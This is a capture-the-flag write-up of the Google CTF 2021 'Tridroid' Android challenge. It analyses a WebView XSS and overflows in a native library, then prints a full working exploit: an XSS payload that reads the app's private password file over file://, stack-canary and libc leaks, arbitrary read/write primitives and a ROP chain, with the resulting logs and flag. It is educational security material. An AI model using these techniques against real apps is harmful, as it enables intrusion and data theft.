Artificial intelligence and the GoogleCTF logo

Google CTF 2021 Tridroid

Top News03/09/2022

By Aldric Berthet-Bondet and Florian Picca

In this challenge, we are dealing with an Android application implementing a Webview vulnerable to XSS. This application also has a native library exposing methods vulnerable to overflow (stack, heap etc.) To perform this exploit, we have to use the XSS to call the vulnerable functions of the native library. However, one of them is protected by a password that we will have to retrieve dynamically.

Details

  • Category : pwn
  • Points : 363
  • Solves: 10

Description

Are you proficient enough to penetrate through the triangle of Android?

Note: the emulator does not have Internet access;

Note: You need to enable KVM on your machine to run the challenge locally; otherwise it will be super slow.

nc tridroid.2021.ctfcompetition.com 1337

The attachement was a zip file containing the following elements :

  • app.apk: it’s basically the Android Package; a compressed folder containing and regrouping all application setup files
  • Dockerfile: file containing the commands to build the Docker image and create an emulator running Android x86_64 API level 30 (also known as Android 11)
  • flag: local flag to run and test the exploit on our side before submitting it.
  • run.sh: script used to build the Dockerfile and run some other mandatory commands to make the environment work properly
  • server.py: python script used to create AVD (Android Virtual Device). This virtual device will be identical to Google’s remote server, launch the app, set the flag and wait for our payload.

Disclaimer : This is not a challenge we managed to solve during the competition. However, while reading other teams’ write up we thought it would be interesting to try to solve it on our own. Indeed, it involves several complex but nevertheless interesting techniques on binary exploitation and allows playing with Android real-world vulnerability. Have a good reading ;)

Application analysis

Now we have all this stuff to work with, let’s decompile the apk using apktool from the command line :

apktool d app.apk

Our apk is decompiled in a new folder called app (actually the original binary name without its extension). Listing its content below, we can see two interesting things :

total 36
drwxr-xr-x   7 kali kali 4096 Aug  2 16:32 .
drwxr-xr-x   3 kali kali 4096 Aug  2 16:32 ..
-rw-r--r--   1 kali kali  945 Aug  2 16:32 AndroidManifest.xml
-rw-r--r--   1 kali kali 2008 Aug  2 16:32 apktool.yml
drwxr-xr-x   2 kali kali 4096 Aug  2 16:32 assets
drwxr-xr-x   6 kali kali 4096 Aug  2 16:32 lib
drwxr-xr-x   3 kali kali 4096 Aug  2 16:32 original
drwxr-xr-x 129 kali kali 4096 Aug  2 16:32 res
drwxr-xr-x   5 kali kali 4096 Aug  2 16:32 smali
  1. AndroidManifest.xml

This is the first file you have to analyse as it provides an overall overview of the inside components used by the application (Activities, Provider, Broadcast receiver and Services).

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.google.ctf.pwn.tridroid" platformBuildVersionCode="30" platformBuildVersionName="11">
    <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:extractNativeLibs="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.tridroid">
        <activity android:name="com.google.ctf.pwn.tridroid.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>    

Here we can see the application only contains a MainActivity. This is the first activity that starts when we execute the app.

  1. The lib folder

You may not know it but Android applications can contain compiled, native libraries. These are often C or C++ code that developers wrote and compiled for a specific architecture. Android apps call them using the following syntax:

static {
    System.loadLibrary("<library_name>");
}

Remaining files are not useful right now. thus, we can just delve into the source code by using JADX to see what the application really does.

Source code analysis 

OnCreate

First, the OnCreate method initializes the activity and specifies the layout resources used to define the user interface. We can see that components like textView, editText and webView will be used here.

setContentView(R.layout.activity_main); //set UI view
//defining components
this.textView = (TextView) findViewById(R.id.textView);
this.editText = (EditText) findViewById(R.id.editText);
this.webView = (WebView) findViewById(R.id.webView);
generateSecretKey();
createPasswordFile();

Besides, two interesting functions are also being called (we’re going to give more details later) :

  • generateSecretKey
  • createPasswordFile

An editText listener is in charge of retrieving and updating data in real time before sending it to the webView through a WebMessage object.

this.editText.addTextChangedListener(new TextWatcher() {
    /* class com.google.ctf.pwn.tridroid.MainActivity.AnonymousClass1 */

    public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {}

    public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {}

    //real time update
    public void afterTextChanged(Editable editable) {
      //send input text to webView via WebMessage
        MainActivity.this.webView.postWebMessage(new WebMessage(MainActivity.this.editText.getText().toString()), Uri.parse("*"));
    }
});

A broadcast receiver is also used to set either : - com.google.ctf.pwn.tridroid.SET_FLAG (which stores intent extra data as the flag) - com.google.ctf.pwn.tridroid.SET_NAME (which sends user input data to the editText listener)

this.broadcastReceiver = new BroadcastReceiver() {
           /* class com.google.ctf.pwn.tridroid.MainActivity.AnonymousClass2 */

           public void onReceive(Context context, Intent intent) {
               if (intent.getAction().equals(MainActivity.SET_NAME_INTENT)) {
                   MainActivity.this.editText.setText(new String(Base64.getDecoder().decode(intent.getStringExtra("data")), StandardCharsets.UTF_8));
               } else if (intent.getAction().equals(MainActivity.SET_FLAG_INTENT)) {
                   MainActivity.this.flag = new String(Base64.getDecoder().decode(intent.getStringExtra("data").trim()), StandardCharsets.UTF_8).trim();
               }
           }
       };

The webView component properties are also defined in a way that all of them, including dangerous ones (local file access and JavaScript), are set to True.

this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.getSettings().setAllowFileAccess(true);
this.webView.getSettings().setAllowFileAccessFromFileURLs(true);

It’s important to notice that a JavaScript interface called bridge is created. It’s used to bind JavaScript and client-side Android code. For instance (this is not the case here obviously), JavaScript code can call a method in Android Java code to display a Dialog box instead of a simple and ugly alert (good to know !!!)

Finally, the webView loads an HTML file stored in the assets folder (file://android_asset/index.html) :

<html>
<body>
<div>
</div>
<script>
    onmessage = function(event) {
        document.getElementsByTagName('div')[0].innerHTML = `Hi ${event.data}, how you doing?`;
    }
</script>
</body>
</html>

Sounds great to trigger an XSS don’t you think ?

generateSecretKey

This function generates an AES key from an harcoded secret.

private void generateSecretKey() {
    try {
        this.secretKey = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(new String(Base64.getDecoder().decode("VHJpYW5nbGUgb2YgQW5kcm9pZA=="), StandardCharsets.UTF_8).toCharArray(), new byte[32], 65536, 256)).getEncoded(), "AES");
    } catch (Exception e) {
        Log.e("TriDroid", "Generating AES key has failed ...", e);
    }
}

Because everything is hardcoded and no randomness is involved, this will always produce the same key.

createPasswordFile

This function creates a text file storing a 36-byte UUID generated using Java’s randomUUIDfunction.

private void createPasswordFile() {
     try {
         FileOutputStream openFileOutput = getApplication().openFileOutput("password.txt", 0);
         try {
           //store 36 characters in password.txt file
             openFileOutput.write(UUID.randomUUID().toString().getBytes(StandardCharsets.UTF_8));
             if (openFileOutput != null) {
                 openFileOutput.close();
                 return;
             }
             return;
         } catch (Throwable th) {
             th.addSuppressed(th);
         }
         throw th;
     } catch (Exception e) {
         Log.e("TriDroid", "Generating password file has failed ...", e);
     }
 }

This UUID will be used as a password to protect the access to the next function.

manageStack

This function specifies the @JavascriptInterface decorator. It means that it’s available to the JavaScript from the bridge interface. Once called, it takes three arguments and verifies that the first is equal to the password stored in password.txt. After that, the Android native manageStack function is called with the last two arguments.

@JavascriptInterface
public String manageStack(String str, String str2, String str3) {
    try {
        FileInputStream openFileInput = getApplication().openFileInput("password.txt");
        try {
          //verify first argument
            if (str.equals(new BufferedReader(new InputStreamReader(openFileInput)).readLine())) {
              //call native manageStack funtion
                String hex = hex(manageStack(str2, unhex(str3)));
                if (openFileInput != null) {
                    openFileInput.close();
                }
                return hex;
            } else if (openFileInput == null) {
                return "";
            } else {
                openFileInput.close();
                return "";
            }
        } catch (Throwable th) {
            th.addSuppressed(th);
        }
        throw th;
    } catch (Exception e) {
        Log.e("gCTF", "Reading password file has failed ...", e);
        return "";
    }
}

showFlag

This function writes the AES/CBC/PKCS5PADDING encrypted flag in the runtime logs.

public void showFlag() {
    try {
        Cipher instance = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        instance.init(1, this.secretKey, new IvParameterSpec(new byte[16]));
        Log.d("TriDroid", "Flag: " + new String(Base64.getEncoder().encode(instance.doFinal(this.flag.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8));
    } catch (Exception e) {
        Log.e("TriDroid", "Showing flag has failed ...", e);
    }
}

The key used for the encryption is the one generated by generateSecretKey described earlier.

Setting up the environment

We have built an AVD identical to the remote one and used the following script to launch our exploit and get the logs :

#!/bin/bash
adb shell am start -W -n com.google.ctf.pwn.tridroid/.MainActivity
# set a fake flag for local testing
adb shell am broadcast -a com.google.ctf.pwn.tridroid.SET_FLAG -e data Q1RGe1hZWn0K
adb shell am broadcast -a com.google.ctf.pwn.tridroid.SET_NAME -e data $(cat exploit.html | base64 | tr -d '\r\n')
# add chromium logs to show console.log() output
adb logcat -d -s chromium
adb logcat -d -s TriDroid
# clear the logs
adb logcat -c

We will write our exploit in a separate file called exploit.html.

After attempting to trigger an XSS, we realized it is not possible to execute javascript code directly. We can however execute code by abusing the onerror handler of an img tag :

<span id="exp">
    // javascript code
</span>
<img src="a" onerror="eval(document.getElementById('exp').innerHTML);" />

In the rest of this write-up we will only focus on the javascript code of the exploit, but remember that all the code you will see has to be defined in the span tag shown above.

Finding vulnerabilities in libtridroid

The libtridroid library implements the native manageStack function. We can find this function under the name Java_com_google_ctf_pwn_tridroid_MainActivity_manageStack in Ghidra. Here is the decompiled output after cleaning up :

code source

 

Only the relevant part is shown here. We can see that this function can accept 4 commands :

 

  • push
  • pop
  • modify
  • top

Let’s analyze them to see what they do and check if there is any exploitable vulnerability.

push

Before calling the push_element function, the data to push is copied into a temporary buffer. The buffer is only 72 bytes long but we control the size to copy. There is a stack buffer overflow here.

The push_element function is as follows:

 

It allocates a 24-bytes buffer on the heap. The first 16 bytes are set to zero and the 16 first bytes of the data to push is copied there. The last 8 bytes are used to store a pointer to the stack_top.

This is clearly a linked list. The 24-bytes buffer represents a list element that can handle 16-bytes of data (denoted by the custom struct element_t). The stack_top is simply a pointer to the first element of the list.

The push function simply appends an element to the start of the list.

pop

This function simply removes the first element of the list :

modify

This function allows to modify the content of the first element of the list :

 

 

There are two vulnerabilities in this function.

The first one occurs when the new data is copied into a 40-bytes local buffer without checking its length. This results in a stack buffer overflow.

The second one happens on the next line, when this buffer is copied into the data filed of the first element, again without restricting the size of the data to write. This results in a heap buffer overflow, because list elements are stored on the heap. Requesting to modify the first list element with data that is longer than 16 bytes would overwrite the newt_elm pointer of this element, potentially allowing arbitrary read/write primitives.

top

This function simply retrieves the first element of the list and returns it to the app as a Java ByteArray.

Attack plan

Before establishing an attack plan, let’s take a look at the protections activated on the library using checksec (comes with pwntools) :

$ checksec libc.so 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Every protection is active. The exploit will not be trivial.

Our goal is to call the showFlag function from the APK so the flag gets written into the logs. Luckily, the library includes the invokeJavaMethod function.

This function requires 4 arguments: 1. A pointer to the JNIEnv object 2. A pointer to the This object 3. A pointer to the name of the function we want to call : “showFlag” 4. A pointer to the signature of the function we want to call : “()V”

This signature means that the function take no argument and returns Void.

To get to this point we have to make a ROP, setting the registers correctly. By abusing the 3 vulnerabilities identified earlier, we can potentially build our ROP chain, but we require a password to interact with the manageStack function. This password can be retrieved by exploiting an XSS.

Because of all the protections, we will also have to somehow leak the canary to exploit the buffer overflows, leak the base address of libtridroid to defeat PIE and leak the base address of libc to get enough gadgets for our ROP chain.

The full attack plan is thus :

XXS -> leak password -> leak canary -> BOF -> leak libtridroid base address -> leak libc base address -> ROP -> invokeJavaMethod() -> showFlag()

Leaking the password
 

We can use the XSS to leak the password, but first we have to know where it is stored in the device. For this we used ADB and opened a shell on the emulator.

$ adb root
restarting adbd as root
$ adb shell
generic_x86_64_arm64:/ # cd /data/data/com.google.ctf.pwn.tridroid/files
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # ls
password.txt
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # cat password.txt
acec55ba-0f8e-4cff-82c9-5aee97c5bf54

Now that we have the full path of the password file and because the web view has file access permissions, we can open an URL starting with file:// to read it’s content :

const pwd = "/data/data/com.google.ctf.pwn.tridroid/files/password.txt";
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "file://"+pwd, false); // false for synchronous request
xmlHttp.send();
password = xmlHttp.responseText;
alert("password : "+password);

It works ! Alerts are very visual, but are cumbersom because we need to click on them to make them disapear. That’s why we decided to use console.log() from now on. The result should appear in the logcat output of chromium:

console.log("password : "+password);

Rerunning the exploit now prints output in the logs like expected :

08-01 14:51:21.812  8690  8690 I chromium: [INFO:CONSOLE(8)] "password : acec55ba-0f8e-4cff-82c9-5aee97c5bf54", source:  (8)

Having the password, we can interact with the manageStack function. Because a bridge was registered, we can access it directly from the javascript. For convenience, we decided to make small wrappers around this function :

function push(data) {
    // interface bridge
    return bridge.manageStack(password, "push", data);
}

function pop() {
    // interface bridge
    return bridge.manageStack(password, "pop", '');
}

function top() {
    // interface bridge
    return bridge.manageStack(password, "top", '');
}

function modify(data) {
    // interface bridge
    return bridge.manageStack(password, "modify", data);
}

Input data must be given in hexdecimal. The ouput is also in hexadecimal.

We can test it by pushing a value on the stack and retrieving it using top:

push("41424344")
console.log(top())

Which gives :

08-01 15:01:04.401  8690  8690 I chromium: [INFO:CONSOLE(31)] "41424344", source:  (31)

Leaking the canary and libtridroid’s base address

We can abuse the fact that the modify_element doesn’t add a NULL byte at the end of our data to leak the content of the stack.

 

 

Because the temporary buffer is not overwritten with zero after being allocated, we have access to the content of the stack.

After debugging with GDB, we observed that 8 bytes after the start of this buffer, a return address is always present, leaking it would allow us to defeat PIE.

The canary is located just after the 40 bytes of the same buffer. An important thing to note is that the canary does not start with a NULL byte, unlike classical Linux environnement. This is a security feature, which aims to protect against this kind of information leakage. It is wierd that in Android the canaries do not have this security feature.

To leak the return address, we can call modify with only 8 bytes of new data and call top to trigger the leak. We can achieve the same for the canary using 40 bytes of data:

// initialize the stack top
push("41414141")
push("41414141")
push("41414141")

// leak return address
// return address is located in the stack at offset 8
modify("4141414141414141");
// skip 16 first bytes (4141...)
leak = top().substring(16);
console.log("Return address : "+leak);

// leak canary
// canary is at the end of the 40 bytes buffer
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242");
// skip 40 first bytes (4141...)
leak = top().substring(80);
canary = leak.substring(0, 16);
console.log("Canary : "+canary);

Which gives :

08-02 21:15:14.483 22159 22159 I chromium: [INFO:CONSOLE(42)] "Return address : ff9601d15f78", source:  (42)
08-02 21:15:14.489 22159 22159 I chromium: [INFO:CONSOLE(51)] "Canary : f39bbcd81de1a225", source:  (51)

From our debugging session with GDB, we know that the return address is at offset 0x16FF from the base of libtridroid. Subtracting this offset from the return address will leak the base address.

We wrote little helper functions for packing and unpacking addresses in little endian :

function unpack64(data) {
    return parseInt(data.match(/../g).reverse().join(''), 16);
}

function pack64(data) {
    return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
}

Using them, we can leak the base address :

base_addr = unpack64(leak) - 0x16FF;
console.log("Base address : "+base_addr.toString(16));

Resulting in :

08-02 21:33:24.962 22159 22159 I chromium: [INFO:CONSOLE(50)] "Base address : 785fd1018000", source:  (50)

We can confirme the address is indeed valid from our ADB shell :

generic_x86_64_arm64:/ # grep "tridroid" /proc/$(pidof com.google.ctf.pwn.tridroid)/maps | grep "r-x" | grep base.apk 
785fd1018000-785fd101a000 r-xp 003a1000 fd:05 40963                      /data/app/~~8HrbOax9i97fF6BJzSPA0Q==/com.google.ctf.pwn.tridroid-2Omui46_qGvtYZn0eUP3ZQ==/base.apk

Having the base address we can calculate the address of invokeJavaMethod because we known from Ghidra that it is located at offset 0xFA0:

invoke_addr = base_addr + 0xFA0;
console.log("invokeJavaMethod address : "+invoke_addr.toString(16));

Getting arbitrary read/write primitives
 

We can abuse the vulnerabilities identified in modify_element to leverage arbitrary read and write.

Arbitrary read can be obtained by overwriting the next_elm pointer of the first element of the list, with our desired address. Calling pop afterwards will modify stack_top to point to this address, discarding the modified element. Calling top will thus leak the data located at stack_top, which is now our desired address.

Arbitrary write is achieved similarly. First we have to modify stack_top to point to the address we want to write to, using the same steps as previously. Now we can call modify once again to write arbitrary data at stack_top, which is our desired address :

function read(addr) {
    // push something because we pop after
    push("41")
    // 16*"41" + pointer overwrite
    modify("41414141414141414141414141414141"+pack64(addr));
    pop();
    return top();
}

function write(addr, data) {
    // push something because we pop after
    push("41")
    // 16*"41" + pointer overwrite
    modify("41414141414141414141414141414141"+pack64(addr));
    pop();
    modify(data)
}

Leaking libc’s base address
 

A common technique to leak libc’s base address when having arbitrary read primitives is to leak an address from the GOT (Global Offset Table). We have to choose a function that we know has already been used before reading it.

We decided to leak malloc’s address. Its offset in libtridroid is 0x2F70. From our ADB shell, we can see at which offset malloc is defined in the emulator’s libc :

generic_x86_64_arm64:/ # readelf -s /system/lib64/libc.so | grep " malloc$"                                                                                                 
   801: 0000000000043410    79 FUNC    GLOBAL DEFAULT   14 malloc
  1658: 0000000000043410    79 FUNC    GLOBAL DEFAULT   14 malloc

The offset is 0x43410. Subtracting this from the leaked address will reveal libc’s base address :

// leak malloc address
malloc = unpack64(read(base_addr + 0x2F70))
// compute libc base
libc_base = malloc - 0x43410
console.log("Libc base address : "+libc_base.toString(16));

Which gives :

08-03 20:10:33.389 23878 23878 I chromium: [INFO:CONSOLE(86)] "Libc base address : 7862bccd2000", source:  (86)

Leaking JNIEnv and This
 

We have seen that in order to call the invokeJavaMethod function, we require a pointer to the JNIEnv object and a pointer to the This object. We can find references to both of them at the start of the Java_com_google_ctf_pwn_tridroid_MainActivity_manageStack function :

 

We see that they are stored on the stack at RBP-0x60 and RBP-0x68 respectively (Ghidra adds 8 to the stack offsets because it starts at the return address, IDA doesn’t.)

It turns out we can easily leak the value of RBP because it’s stored just after the canary we leaked earlier :

// leak RBP
// RBP is at the end of the 40 bytes buffer, after the canary
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242"+canary);
// skip 48 first bytes (4141...)
leak = top().substring(96);
RBP = unpack64(leak);
console.log("RBP : "+RBP.toString(16));

Which gives :

08-03 20:37:57.854  9143  9143 I chromium: [INFO:CONSOLE(99)] "RBP : 785fce295c30", source:  (99)

Now we can leak the pointers to JNIEnv and This using our read primitive :

// get jniEnv and this
JNI_env = unpack64(read(RBP-0x60)); // vu dans IDA
this_ptr = unpack64(read(RBP-0x68)); // vu dans IDA
console.log("JNI_env : "+JNI_env.toString(16));
console.log("this_ptr : "+this_ptr.toString(16));

Resulting in :

08-03 20:40:08.152  9143  9143 I chromium: [INFO:CONSOLE(104)] "JNI_env : 7860e9512af0", source:  (104)
08-03 20:40:08.153  9143  9143 I chromium: [INFO:CONSOLE(105)] "this_ptr : 785fce295c54", source:  (105)

Setting up the last arguments
 

The last things we need are :

  1. A pointer to the name of the function we want to call : “showFlag”
  2. A pointer to the signature of the function we want to call : “()V”

Because no such strings are defined anywhere in the binary, we will have to write them ourselves somewhere. For that we’ll use our write primitive, but first we have to find a sufficiently large writeable memory region.

The .bss area of libtridroid would have been a nice choice but is unfortunately too small. We decided to look at the .bss of the libc instead. This time it is sufficiently large so we picked arbitrary addresses in the middle of it :0xD9510 and 0xD9530

At 0xD9510 we will write "()V\x00" and at 0xD9530 "showFlag\x00":

// write "showFlag" in libc
write(libc_base + 0xD9530, '73686F77466C616700');
// write "()V" in libc
write(libc_base + 0xD9510, '28295600');

Building the ROP chain
 

Now that we have everything needed to build the ROP chain, we just have to find gadgets.

From the calling conventions, the first 4 agruments are stored in RDI, RSI, RDX and RCX respectively.

For that we have used ROPgadget:

ROPgadget --binary libc.so > gadgets.txt

Luckily there are straightforward gadgets to setup our registers :

$ grep ": pop rdi ; ret$" gadgets.txt 
0x0000000000042c92 : pop rdi ; ret
$ grep ": pop rsi ; ret$" gadgets.txt 
0x0000000000042d38 : pop rsi ; ret
$ grep ": pop rdx ; ret$" gadgets.txt 
0x0000000000046175 : pop rdx ; ret
$ grep ": pop rcx ; ret$" gadgets.txt 
0x0000000000042e58 : pop rcx ; ret

The final ROP chain is as follows :

// 0x0000000000042e58 : pop rcx ; ret
pop_rcx = libc_base + 0x42e58
// 0x0000000000046175 : pop rdx ; ret
pop_rdx = libc_base + 0x46175
// 0x0000000000042c92 : pop rdi ; ret
pop_rdi = libc_base + 0x42c92
// 0x0000000000042d38 : pop rsi ; ret
pop_rsi = libc_base + 0x42d38
// 0x0000000000042af0 : ret
ret = libc_base + 0x42af0

rop = pack64(pop_rcx)
rop += pack64(libc_base + 0xD9510) // ()V
rop += pack64(pop_rdx)
rop += pack64(libc_base + 0xD9530) // showFlag
rop += pack64(pop_rsi)
rop += pack64(this_ptr)
rop += pack64(pop_rdi)
rop += pack64(JNI_env)
rop += pack64(ret) // for stack alignment
rop += pack64(invoke_addr)

To trigger the ROP chain we just have to overwrite the return address of the modify_element function :

// overwrite RIP, after canary + EBP
modify("41414141414141414141414141414141414141414141414141414141414141414141414141414141"+canary+"4242424242424242"+rop);

Testing the final payload locally successfully writes the fake encrypted flag to the logs :

08-03 21:10:12.950 11858 11858 I chromium: [INFO:CONSOLE(8)] "password : 80965b49-ba84-4340-ab52-26bce809c2a1", source:  (8)
08-03 21:10:13.017 11858 11858 I chromium: [INFO:CONSOLE(67)] "Base address : 785fd1066000", source:  (67)
08-03 21:10:13.031 11858 11858 I chromium: [INFO:CONSOLE(76)] "Canary : f39bbcd81de1a225", source:  (76)
08-03 21:10:13.031 11858 11858 I chromium: [INFO:CONSOLE(80)] "invokeJavaMethod address : 785fd1066fa0", source:  (80)
08-03 21:10:13.050 11858 11858 I chromium: [INFO:CONSOLE(86)] "Libc base address : 7862bccd2000", source:  (86)
08-03 21:10:13.129 11858 11858 I chromium: [INFO:CONSOLE(100)] "RBP : 785fce154c30", source:  (100)
08-03 21:10:13.193 11858 11858 I chromium: [INFO:CONSOLE(110)] "JNI_env : 7860e95135f0", source:  (110)
08-03 21:10:13.200 11858 11858 I chromium: [INFO:CONSOLE(111)] "this_ptr : 785fce154c54", source:  (111)
...
08-03 21:10:13.201 11858 11954 D TriDroid: Flag: 66McrCEanCiGETTs3N/lOw==

Getting the real flag
 

The full exploit payload is given below :

<span id="exp">
    const pwd = "/data/data/com.google.ctf.pwn.tridroid/files/password.txt";

    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", "file://"+pwd, false); // false for synchronous request
    xmlHttp.send();
    password = xmlHttp.responseText;
    console.log("password : "+password);

    function push(data) {
        // interface bridge
        return bridge.manageStack(password, "push", data);
    }

    function pop() {
        // interface bridge
        return bridge.manageStack(password, "pop", '');
    }

    function top() {
        // interface bridge
        return bridge.manageStack(password, "top", '');
    }

    function modify(data) {
        // interface bridge
        return bridge.manageStack(password, "modify", data);
    }

    function unpack64(data) {
        return parseInt(data.match(/../g).reverse().join(''), 16);
    }

    function pack64(data) {
        return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
    }

    function read(addr) {
        // push something because we pop after
        push("41")
        // 16*"41" + pointer overwrite
        modify("41414141414141414141414141414141"+pack64(addr));
        pop();
        return top();
    }

    function write(addr, data) {
        // push something because we pop after
        push("41")
        // 16*"41" + pointer overwrite
        modify("41414141414141414141414141414141"+pack64(addr));
        pop();
        modify(data)
    }

    // initialize the stack top
    push("41414141")
    push("41414141")
    push("41414141")

    // leak base address
    // base address is located in the stack at offset 8 but is itself offseted by 0x16FF
    modify("4141414141414141");
    // skip 16 first bytes (4141...)
    leak = top().substring(16);
    base_addr = unpack64(leak) - 0x16FF;
    console.log("Base address : "+base_addr.toString(16));

    // leak canary
    // canary is at the end of the 40 bytes buffer
    modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242");
    // skip 40 first bytes (4141...)
    leak = top().substring(80);
    // javascript gives incorrect results if we parse the canary as an Int
    canary = leak.substring(0, 16);
    console.log("Canary : "+canary);

    // compute invokeJavaMethod address
    invoke_addr = base_addr + 0xFA0;
    console.log("invokeJavaMethod address : "+invoke_addr.toString(16));

    // leak malloc address
    malloc = unpack64(read(base_addr + 0x2F70))
    // compute libc base
    libc_base = malloc - 0x43410
    console.log("Libc base address : "+libc_base.toString(16));

    // add stuff on the stack otherwise things randomly break afterwards
    push("41414141")
    push("41414141")
    push("41414142")


    // leak RBP
    // RBP is at the end of the 40 bytes buffer, after the canary
    modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242"+canary);
    // skip 48 first bytes (4141...)
    leak = top().substring(96);
    RBP = unpack64(leak);
    console.log("RBP : "+RBP.toString(16));

    // write "showFlag" in libc
    write(libc_base + 0xD9530, '73686F77466C616700');
    // write "()V" in libc
    write(libc_base + 0xD9510, '28295600');

    // get jniEnv and this
    JNI_env = unpack64(read(RBP-0x60)); // vu dans IDA
    this_ptr = unpack64(read(RBP-0x68)); // vu dans IDA
    console.log("JNI_env : "+JNI_env.toString(16));
    console.log("this_ptr : "+this_ptr.toString(16));


    // gadgets found using ROPGadget
    // 0x0000000000042e58 : pop rcx ; ret
    pop_rcx = libc_base + 0x42e58
    // 0x0000000000046175 : pop rdx ; ret
    pop_rdx = libc_base + 0x46175
    // 0x0000000000042c92 : pop rdi ; ret
    pop_rdi = libc_base + 0x42c92
    // 0x0000000000042d38 : pop rsi ; ret
    pop_rsi = libc_base + 0x42d38
    // 0x0000000000042af0 : ret
    ret = libc_base + 0x42af0

    // jniEnv -> RDI
    // this -> RSI
    // @"showFlag" -> RDX
    // @"()V" -> RCX
    rop = pack64(pop_rcx)
    rop += pack64(libc_base + 0xD9510) // ()V
    rop += pack64(pop_rdx)
    rop += pack64(libc_base + 0xD9530) // showFlag
    rop += pack64(pop_rsi)
    rop += pack64(this_ptr)
    rop += pack64(pop_rdi)
    rop += pack64(JNI_env)
    rop += pack64(ret) // for stack alignment
    rop += pack64(invoke_addr)


    // overwrite RIP, after canary + EBP
    modify("41414141414141414141414141414141414141414141414141414141414141414141414141414141"+canary+"4242424242424242"+rop);

</span>
<img src="a" onerror="eval(document.getElementById('exp').innerHTML);" />

We encoded it in base64 and sent it to the server using pwntools. After several minutes, we finally got the real encrypted flag :

== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AB8s.AAAxYZnbk+KFZ4qNDjonCqrl
===================


Welcome to TriDroid, the Triangle of Android:

                    /\
      DEX          /  \       Web
 (Java & Kotlin)  /    \  (HTML & JS)
                 /      \
                /________\

             Native (C & C++)

$ 
[*] Interrupted
[*] Switching to interactive mode

Thank you! Check out the logs. This may take a while ...

--------- beginning of kernel
--------- beginning of main
--------- beginning of system
07-26 21:42:54.017  4220  6232 D TriDroid: Flag: Fd60z2/WC/boWFPcZ1pbJW5v3eOjGcR3vajE7rPNN67pxtzYfNRYCE2XoTeOlw1uGYO24cqV/QnvD2rykyXzxQ==
--------- beginning of crash
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to tridroid.2021.ctfcompetition.com port 1337

We used an online Java interpreter to recompute the encryption key and decrypt the flag.

Flag : CTF{the_triangle_of_android_f62eb802e6aca13743e9}

Our news